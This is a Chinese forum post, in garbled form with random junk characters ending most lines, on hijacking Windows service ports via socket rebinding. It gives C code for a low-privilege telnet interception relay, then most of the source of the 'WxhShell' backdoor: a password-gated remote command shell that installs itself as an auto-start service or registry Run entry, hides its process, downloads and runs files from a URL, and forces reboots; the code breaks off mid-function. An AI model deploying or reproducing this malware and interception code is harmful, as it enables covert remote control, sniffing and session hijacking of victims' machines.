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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: zaf%%  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 1 @tVfn}  
lt[{u$  
  saddr.sin_family = AF_INET; J[ du>1D  
s9?klJg  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); H"6Sj-<=  
aovRm|aOo'  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); }>>lgW>n,;  
P'xq+Q  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 ojni+}>_  
9;NR   
  这意味着什么?意味着可以进行如下的攻击: *^ g7kCe(  
T]Pp\6ff  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 ORD@+ {  
5v<BB`XWp  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) %s6|w=.1  
!O~EIz  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 y4^6I$M7V  
!inonR  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  :Em[> XA  
[RTB|0Q  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 AtGk _tpVZ  
JL=MlZ  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 k.NgE/;3  
|9$K'+'  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 VnAJOR7lrx  
wK!4:]rhG  
  #include 18jI6$DY  
  #include 7;ZSeQ yC  
  #include +pURF&Pr  
  #include    3@f@4t@5V  
  DWORD WINAPI ClientThread(LPVOID lpParam);   m_wBRan  
  int main() dq?{?~3  
  { T.]+T[}!  
  WORD wVersionRequested; #p_3j 0S  
  DWORD ret; <E[X-S%&  
  WSADATA wsaData; s~W:N .}*  
  BOOL val; CA, &R <]  
  SOCKADDR_IN saddr; pn<M`,F~q  
  SOCKADDR_IN scaddr; x >hnH{~w  
  int err; e p* (  
  SOCKET s; r~N0P|Tq  
  SOCKET sc; <05\  
  int caddsize; ^NKB  
  HANDLE mt; *_ {w0U)  
  DWORD tid;   |#fqHON  
  wVersionRequested = MAKEWORD( 2, 2 ); 3R>U^ Y  
  err = WSAStartup( wVersionRequested, &wsaData ); }D-h=,];  
  if ( err != 0 ) { ~_OtbNj#  
  printf("error!WSAStartup failed!\n"); zZE 2%fqM  
  return -1; R/&Bze  
  } ,{!~rSq-l  
  saddr.sin_family = AF_INET; 7vax[,a I  
   t`1E4$Bb\  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 C%}}~Y  
gh>'O/9  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); <1cYz\/ !M  
  saddr.sin_port = htons(23); *J&XM[t  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) LT']3w  
  { l( /yaZ`  
  printf("error!socket failed!\n"); 1$vsw  
  return -1; dP}=cZ~  
  } KAH9?zI)M  
  val = TRUE; 2A'!kd$2  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 U`Bw2Vdk]S  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) Uv?s<  
  { Q$ r1beA  
  printf("error!setsockopt failed!\n"); Vw0cf;  
  return -1; u?6L.^Op  
  } gx~79;6  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; {U/a h2*  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 0 UdAF  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 b.V\E Ok  
1D159NLB  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) 3}V`]B#a  
  { X;25G  
  ret=GetLastError(); uH 1%diL^  
  printf("error!bind failed!\n"); h.+{cOA;n  
  return -1; No#1Ikw  
  } ,5J-C!C  
  listen(s,2); rjqQWfShY  
  while(1) X+2aP'D  
  { B@XnHh5y  
  caddsize = sizeof(scaddr); HF>Gf2- C  
  //接受连接请求 =>Ss:SGjT  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); Jv(9w[  
  if(sc!=INVALID_SOCKET) wn2+4> |~p  
  { xrb %-vT  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); Rrh?0qWs  
  if(mt==NULL) \l)<NZ\  
  { ODa+s>a`^  
  printf("Thread Creat Failed!\n"); [^sv.  
  break; 0Yk@O) x  
  } k1Cx~Q)XC  
  } xdw"JS}  
  CloseHandle(mt); k=">2!O/  
  } 6M^P]l  
  closesocket(s); baJ(Iy$XT  
  WSACleanup(); T;!7GW4E ?  
  return 0; tg%s#lLeH  
  }   >; a_i>[  
  DWORD WINAPI ClientThread(LPVOID lpParam) T 1'8<pJ^  
  { *9V;;bY#  
  SOCKET ss = (SOCKET)lpParam; ~gU.z6us  
  SOCKET sc; >b9nc\~  
  unsigned char buf[4096]; ]*b}^PQM^  
  SOCKADDR_IN saddr;  =d07c  
  long num; ?z,^QjQ}  
  DWORD val; IRy!8A=X  
  DWORD ret; fT9z 4[M  
  //如果是隐藏端口应用的话,可以在此处加一些判断 uLFnuK  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   rz/^_dV  
  saddr.sin_family = AF_INET; A0Z<1|6r*  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); &+F|v(|r  
  saddr.sin_port = htons(23); . !gkJ  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) LS1r}cl  
  { F~j U;L  
  printf("error!socket failed!\n"); /O@'XWW  
  return -1; !J<}=G5  
  } {c5%.<O  
  val = 100; m?LnO5Vs  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) ` @.  
  { 29eg.E  
  ret = GetLastError(); |KSd@   
  return -1; Fh  t$7V  
  } Z#H] yG  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) q:2Vw`g'  
  { 9v[cy`\  
  ret = GetLastError();  cTpmklq  
  return -1; =apcMW(zn  
  } 8I=n9Uyz  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) bpq2TgFj  
  { o#(z*v@  
  printf("error!socket connect failed!\n"); ki/xo^Y2<  
  closesocket(sc); b'i-/l$  
  closesocket(ss); s-^B)0T!  
  return -1; oy+``W~  
  } "$)Nd+ny  
  while(1) y k=o  
  { QEd>T"@g  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 'C=8.P?  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 k&Z3v.  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 }9Yd[`  
  num = recv(ss,buf,4096,0); QP+zGXd}(  
  if(num>0) 9G)Sjn`AQ  
  send(sc,buf,num,0); QiDf,$t|,  
  else if(num==0) WSA;p=_  
  break; ~`J/618  
  num = recv(sc,buf,4096,0); dOm`p W^  
  if(num>0) Z.9 ?u;  
  send(ss,buf,num,0); aDJ\%  
  else if(num==0) lgR;V]^YX  
  break; }` &an$Mu  
  } wPhN_XV  
  closesocket(ss); ,SEC~)L  
  closesocket(sc); G/Ll4 :  
  return 0 ; B+e$S%HV  
  } u$T`Bn  
3&*_5<t\X  
"YIrqk  
========================================================== \;"$Z 9W  
<hG=0Zcr  
下边附上一个代码,,WXhSHELL 2^-Z17Z}  
@S#>:o|  
========================================================== }jj@A !N  
S@Rw+#QE  
#include "stdafx.h" -w8c;5X  
8Lm}x_  
#include <stdio.h> 8 1Ar.<  
#include <string.h> AGwFD  
#include <windows.h> /SLAg&  
#include <winsock2.h> e_Cns&  
#include <winsvc.h> ?Bg<74  
#include <urlmon.h> ` oBlv  
"S$4pj`<  
#pragma comment (lib, "Ws2_32.lib") x,kZ>^]&b  
#pragma comment (lib, "urlmon.lib") [X >sG)0S~  
] r8 hMv  
#define MAX_USER   100 // 最大客户端连接数 " oWiQ{\IP  
#define BUF_SOCK   200 // sock buffer <28L\pdG`  
#define KEY_BUFF   255 // 输入 buffer }%j@%Ep[  
k_A.aYe  
#define REBOOT     0   // 重启 1UR ;}  
#define SHUTDOWN   1   // 关机 [3Qu @;"&  
mDn*v( f  
#define DEF_PORT   5000 // 监听端口 Bq}p]R3X  
l}|KkW\y  
#define REG_LEN     16   // 注册表键长度 JryCL]  
#define SVC_LEN     80   // NT服务名长度 eURy]  
]k2Jf}|  
// 从dll定义API jI`1>>N&1  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 3$YgGum  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); caA>; +aBH  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); tx-HY<  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); SoS GQ&k  
vo'=d"zm  
// wxhshell配置信息 yn;h.m[):  
struct WSCFG { V?{[IMRC  
  int ws_port;         // 监听端口 -49z.(@ki  
  char ws_passstr[REG_LEN]; // 口令 J{98x zb  
  int ws_autoins;       // 安装标记, 1=yes 0=no =F>@z4[P-  
  char ws_regname[REG_LEN]; // 注册表键名 MGUzvSf  
  char ws_svcname[REG_LEN]; // 服务名 7 S^iGe  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 ?sb Ob  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 ,TuDG*YA  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 nF0V`O \T  
int ws_downexe;       // 下载执行标记, 1=yes 0=no b >R/=tx  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" !L3M\Q0  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 cE7xNZ;Bh  
FB<#N+L\  
}; 'B;aXy/JC  
>BC?% |l  
// default Wxhshell configuration oH/6  
struct WSCFG wscfg={DEF_PORT, j(j o8  
    "xuhuanlingzhe", ;F)g r  
    1, 'jv[Gcss3L  
    "Wxhshell", sP1wO4M?{  
    "Wxhshell", n-q  
            "WxhShell Service", ?y( D_NtL  
    "Wrsky Windows CmdShell Service", >UTAk  
    "Please Input Your Password: ", @^Tof5?F?  
  1, Vc!` BiH  
  "http://www.wrsky.com/wxhshell.exe", tz(\|0WDQ  
  "Wxhshell.exe" w#v8a$tT  
    }; a}N m;5K  
u!in>]^  
// 消息定义模块 79:Wo>C3-  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; mmC&xZ5f  
char *msg_ws_prompt="\n\r? for help\n\r#>"; YmP`Gg#> p  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 3JuWG\r)l  
char *msg_ws_ext="\n\rExit."; dQfVdqg  
char *msg_ws_end="\n\rQuit."; i#I+   
char *msg_ws_boot="\n\rReboot..."; hdB.u^!  
char *msg_ws_poff="\n\rShutdown..."; a9rn[n1Q  
char *msg_ws_down="\n\rSave to "; m>4jRr6sF  
Y)@mL~){  
char *msg_ws_err="\n\rErr!"; I>k >^  
char *msg_ws_ok="\n\rOK!"; ^WDAW#f*<  
)+]8T6~ N  
char ExeFile[MAX_PATH]; q$vATT  
int nUser = 0; S4RvWTtQV  
HANDLE handles[MAX_USER]; m&)5QX  
int OsIsNt; L(tA~Z"k  
_= RA-qZ"  
SERVICE_STATUS       serviceStatus; _is<.&f6  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 74*1|S <  
}]w/`TF  
// 函数声明 r3X|*/  
int Install(void); as\6XW$;Q  
int Uninstall(void); W@NM~+)e  
int DownloadFile(char *sURL, SOCKET wsh); >t2E034_  
int Boot(int flag); -uZ bVd  
void HideProc(void); J[ 9yQ  
int GetOsVer(void); D[.; H)V  
int Wxhshell(SOCKET wsl); Tjo K]]  
void TalkWithClient(void *cs); 7_r$zEP6  
int CmdShell(SOCKET sock); Kfnn;  
int StartFromService(void); \Q.Qos  
int StartWxhshell(LPSTR lpCmdLine); HJpkR<h  
ZM oV!lu  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); %1Gat6V<'  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); wN,DTmtD  
m=&j2~<i  
// 数据结构和表定义 &Mz3CC6  
SERVICE_TABLE_ENTRY DispatchTable[] = y7#$:+jQv  
{ O!+LM{> F  
{wscfg.ws_svcname, NTServiceMain}, M7"I]$|\  
{NULL, NULL} V>}@--$c-r  
}; a`5ODW+  
D`]Lm24_]  
// 自我安装 f$a%&X6"-  
int Install(void) k)D:lpxv  
{ uLV@D r   
  char svExeFile[MAX_PATH];  /1-  
  HKEY key; jbQ2G|:Q  
  strcpy(svExeFile,ExeFile); fu|N{$h%X  
@MIBW)P<  
// 如果是win9x系统,修改注册表设为自启动 jRN*W2]V  
if(!OsIsNt) { 0ra VC=[  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { .uzg2Kd_  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ]_NN,m>z  
  RegCloseKey(key); "oZ]/(  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { %FnaS u  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); m%ZJp7C  
  RegCloseKey(key); 4`@]jm  
  return 0; 82F q}N <  
    } `{fqnNJE  
  } u9>zC QRO  
} }5gAxR,  
else { z)Xf6&  
usiv`.  
// 如果是NT以上系统,安装为系统服务 qM F'&  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); '$u3i #. \  
if (schSCManager!=0) 1Sox@Ko  
{ E@\e37e  
  SC_HANDLE schService = CreateService }IvJIr  
  ( ;\7TQ9z  
  schSCManager, 6'y+Ev$9  
  wscfg.ws_svcname, 0wZ_;FN*-  
  wscfg.ws_svcdisp, <,qJ% kc  
  SERVICE_ALL_ACCESS, dzDh V{  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , I}/o`oc  
  SERVICE_AUTO_START, G v[W)+3f  
  SERVICE_ERROR_NORMAL, lyiBRMiP|  
  svExeFile, 4fBgmL  
  NULL, Iu6KW:x  
  NULL, 4?XX_=+F|  
  NULL, c^P8)g Pf  
  NULL, _[8xq:G  
  NULL 87%t=X  
  ); P9Hv){z  
  if (schService!=0) pq[RH-{  
  { bF %#KSVw  
  CloseServiceHandle(schService); Mw!?2G[|  
  CloseServiceHandle(schSCManager); [ P\3XSR  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); Z!Sv/ 5xx  
  strcat(svExeFile,wscfg.ws_svcname); ]T\K-;i  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { \3dM A_5  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); KZO!  
  RegCloseKey(key); ~Nf0 1,F  
  return 0; <mlQn?u  
    } ]bO {001y,  
  } 9_'xq.uP  
  CloseServiceHandle(schSCManager); b u%p,u!  
} QC0^G,9.  
} "- xm+7  
b Jt397  
return 1; !cnunLc`  
} RWmQP%A}aw  
)#[?pYd  
// 自我卸载 ]xQPSs_  
int Uninstall(void) ,Iq+v  
{ :$d3}TjsA+  
  HKEY key; R`ajll1  
=O~1L m;  
if(!OsIsNt) { 2%0z PflT  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { uyP)5,  
  RegDeleteValue(key,wscfg.ws_regname); /6}4<~~4TA  
  RegCloseKey(key); ?RGL0`Lg  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Et@= <g  
  RegDeleteValue(key,wscfg.ws_regname); fI} Z`*  
  RegCloseKey(key); N8(xz-6  
  return 0; E :*!an  
  } `+$'bNPn&  
} LFy5tX#  
} I1U{t  
else { =zXpeo&|m  
S!8eY `C.  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); ~Kda#=  
if (schSCManager!=0) `),7*gn*)  
{ N;tUrdgQ  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); h4H~;Wl0  
  if (schService!=0) d{&+xl^ll  
  { PCnE-$QH  
  if(DeleteService(schService)!=0) { K^tM$l\  
  CloseServiceHandle(schService); x|*v(,7b]!  
  CloseServiceHandle(schSCManager); *A2J[,?c  
  return 0; gWA)V*}f  
  } rz+G]J  
  CloseServiceHandle(schService); N kp>yVj  
  } @PuJre4!;L  
  CloseServiceHandle(schSCManager); %lz\w{  
} UK+;/Mtg  
} qdh;zAMx  
"L.)ML  
return 1; qC?J`   
} ]O',Ei^  
QU16X  
// 从指定url下载文件 XyJ*>;q  
int DownloadFile(char *sURL, SOCKET wsh) leyhiL<  
{  CJg &  
  HRESULT hr; T+NEw8C?/  
char seps[]= "/"; wl2rw93  
char *token; /A\'_a|  
char *file; I<|)uK7  
char myURL[MAX_PATH]; Gm^@lWzG  
char myFILE[MAX_PATH]; =[(1u|H 9  
w/KHS#~  
strcpy(myURL,sURL); 1g9Q vz3  
  token=strtok(myURL,seps); W%b<(T;  
  while(token!=NULL) M_+&XLnzsJ  
  { !y$H r[v  
    file=token; {%. _cR2  
  token=strtok(NULL,seps); <`5>;Xn=  
  } xksQMS2#  
n[n0iz1-  
GetCurrentDirectory(MAX_PATH,myFILE); JV(eHuw  
strcat(myFILE, "\\"); g 'c4&Do  
strcat(myFILE, file); #)q}Jw4]j  
  send(wsh,myFILE,strlen(myFILE),0); -[i9a:eRM  
send(wsh,"...",3,0); SSycQ4[{o  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); } IFZ$Y  
  if(hr==S_OK) xy46].x-  
return 0; z*ZEw  
else 2\l7=9 ]\3  
return 1; pl Ii  
K CJ zE>  
} 1qbd6D|t  
5tHv'@  
// 系统电源模块 OP]=MZP|  
int Boot(int flag) fJLlz$H  
{ -(~Tu>KaH  
  HANDLE hToken; &+6XdhX  
  TOKEN_PRIVILEGES tkp; \c/jp5=}  
k#R}^Q  
  if(OsIsNt) { %75|+((fC  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); QD]Vfj4+  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); mu)?SGpyE  
    tkp.PrivilegeCount = 1; 4Ub_;EI>  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; *$/7;CLq  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); yw"FI!M  
if(flag==REBOOT) { >WE3$Q>bi  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) y/mxdP w  
  return 0; ~!meO;|W  
} pA3j@w  
else { &tw.]3  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) r!V#@Md  
  return 0; U`K5 DZ~  
} uzG<(Q pu  
  } kU_bLC?>D  
  else { E:xpma1Qf  
if(flag==REBOOT) { nf+8OH7  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) $EW31R5h<s  
  return 0; }|H]>U&  
} (`GO@  
else { NSHWs%Zc  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) NLw#b?%  
  return 0; Sd' uXX@  
} _7~O>.  
} QX ishHk&  
v3Tr6[9  
return 1; J6Hw05%0=  
} . l RW  
] M "{=z  
// win9x进程隐藏模块 ?'CIt5n+\{  
void HideProc(void) pA"x4\s   
{ |4YDvDEJi  
DF%\ 1C>  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); * gr{{c  
  if ( hKernel != NULL ) kLR4?tX!  
  { m46Q%hwV  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); sI/Hcm  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); \ lP c,8)  
    FreeLibrary(hKernel); Zw| IY9D  
  } 6(sqS~D  
yU\&\fD>j  
return; \v9IbU*js  
} ~-GgVi*I  
u@}((V  
// 获取操作系统版本 T=:O(R1*0  
int GetOsVer(void) \:8~na+(  
{ /tc*jXB  
  OSVERSIONINFO winfo; dn$1OhN8M  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); p&B98c  
  GetVersionEx(&winfo); &zlwV"W  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) UA>~xJp=  
  return 1; 6/hY[a!  
  else i&-g 0  
  return 0; n*CH,fih:  
} {#: js  
upQ:C>S  
// 客户端句柄模块 T.d+@ZV<#  
int Wxhshell(SOCKET wsl) Q7&Yy25   
{ uaNJTob  
  SOCKET wsh; %'"#X?jk1  
  struct sockaddr_in client; W)1)zOD  
  DWORD myID; LH"MJWO J  
l?NRQTG  
  while(nUser<MAX_USER) *I`Sc|A  
{ "u Xl  
  int nSize=sizeof(client); C&bw1`XJf  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 7_.z3K m:  
  if(wsh==INVALID_SOCKET) return 1; /'QNlP[L;  
enj Ti5X  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); t@ #sKdv  
if(handles[nUser]==0) %O%+TR7Z  
  closesocket(wsh); t]P[>{y  
else Um)0jT  
  nUser++; D5\$xdlJy  
  } (Z=ziopDE  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); O4$ra;UM`  
pAtHU(}  
  return 0; 7e/Uc!&*  
} r*N:-I~z  
%'kaNpBz  
// 关闭 socket 'v* =}k  
void CloseIt(SOCKET wsh) }$hxD9z  
{ W*QD'  
closesocket(wsh); A)2vjM9}K  
nUser--; |Pz-  
ExitThread(0); @%IZKYf c~  
} p \; * :  
HD IB GG~  
// 客户端请求句柄 8js5/G+  
void TalkWithClient(void *cs) Z=sy~6m+v  
{ $R2T)  
ta> g:  
  SOCKET wsh=(SOCKET)cs; Dp6]!;kx  
  char pwd[SVC_LEN]; `FH Hh  
  char cmd[KEY_BUFF]; FviLlly6  
char chr[1]; -TU7GCb=  
int i,j; }IC$Du#  
r[vMiVb  
  while (nUser < MAX_USER) { X, <&#l  
W=j/2c/  
if(wscfg.ws_passstr) { @X>k@M  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ^b~&}uU  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Kf76./  
  //ZeroMemory(pwd,KEY_BUFF); )UI$ s"  
      i=0; [z]@ <99/  
  while(i<SVC_LEN) { 6`]R)i]  
v'a]SpE5  
  // 设置超时 KwN o/x| v  
  fd_set FdRead; ?cG+rC%  
  struct timeval TimeOut; r42[pi]F  
  FD_ZERO(&FdRead); a_^3:}i~D  
  FD_SET(wsh,&FdRead); mn{8"@Z  
  TimeOut.tv_sec=8; f~jx2?W  
  TimeOut.tv_usec=0; P!,\V\TY]  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); #^gn,^QQ  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); {:IOTy  
GxLoNVr  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); (ivV[  
  pwd=chr[0]; 8 2&JYx  
  if(chr[0]==0xd || chr[0]==0xa) { V5i_\A  
  pwd=0; D7X-|`kH  
  break; `. /[/ z-g  
  } %/,PY>:|  
  i++; I--WS[  
    } `4.Wdi-Si  
s24-X1d(9  
  // 如果是非法用户,关闭 socket GI WgfE?  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); W:aAe%S  
} Y:^~KS=Uz  
b\7-u-   
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); {0lY\#qcE  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); `=^29LC#  
 $hPAp}  
while(1) { _c['_HC  
}zj w\  
  ZeroMemory(cmd,KEY_BUFF); r6Lb0PzMf  
Ig'Y]%Z0  
      // 自动支持客户端 telnet标准   K)]7e?:Wu  
  j=0; FZ #ngrT  
  while(j<KEY_BUFF) { WVftLIJ  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); r[eZV"  
  cmd[j]=chr[0]; k*-_CO-h  
  if(chr[0]==0xa || chr[0]==0xd) { D=mU!rjr1  
  cmd[j]=0; Lbq"( b  
  break; _0)#-L>xKF  
  } X9/V;!  
  j++; ?Gp~i]  
    } eE>3=1d]w  
X@b$C~+  
  // 下载文件 c#OZ=`  
  if(strstr(cmd,"http://")) { S&6}9r  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); .hg<\-:_  
  if(DownloadFile(cmd,wsh)) H #J"'  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); :u'X ~ID[  
  else DGC -`z  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Eg3rbqM- 8  
  } YZ7rs] A  
  else { 5u:+hB  
r4gkSwy  
    switch(cmd[0]) { 5dMIv<#T`  
  C N"V w  
  // 帮助 Vt5%A}.VQ  
  case '?': { j+*VP  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); q5BJsw  
    break; teUCK(;23  
  } Ar'}#6  
  // 安装 BgA\l+  
  case 'i': { }[!;c+ke  
    if(Install()) HoT5 5v!o  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); u z ` H  
    else *-ZD-B*?  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); C@buewk  
    break; >RHK6c  
    } e[i&2mM  
  // 卸载 p[0Ws460  
  case 'r': { $sU?VA'h  
    if(Uninstall()) =P'=P0G  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); !}"npUgE  
    else ]b'K BAMy  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Umv_{n`  
    break; ;G0~f9  
    } 5BS-q"  
  // 显示 wxhshell 所在路径 <.l5>mgkCw  
  case 'p': { +=$\7z>s  
    char svExeFile[MAX_PATH];  .#zx[Io  
    strcpy(svExeFile,"\n\r"); mZ/?uPIa  
      strcat(svExeFile,ExeFile); ,'Y*e[  
        send(wsh,svExeFile,strlen(svExeFile),0); N,(@k[uta  
    break; 6aM`qz)  
    } #Jy+:|jJ  
  // 重启 PP.k>zsx  
  case 'b': { r;y&Wa  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); jS5e"LMIq  
    if(Boot(REBOOT)) J%aW^+O  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); '&?47+W  
    else { E-X-LR{CC  
    closesocket(wsh); \Wt&z,  
    ExitThread(0); ,<R/x[  
    } IqfR`iAix  
    break; cOOPNa>5_  
    } ?b#/*T}ac  
  // 关机 _L_SNjA_  
  case 'd': { oMLpl3pl  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 01H3@0Q6  
    if(Boot(SHUTDOWN)) >/6v` 8F  
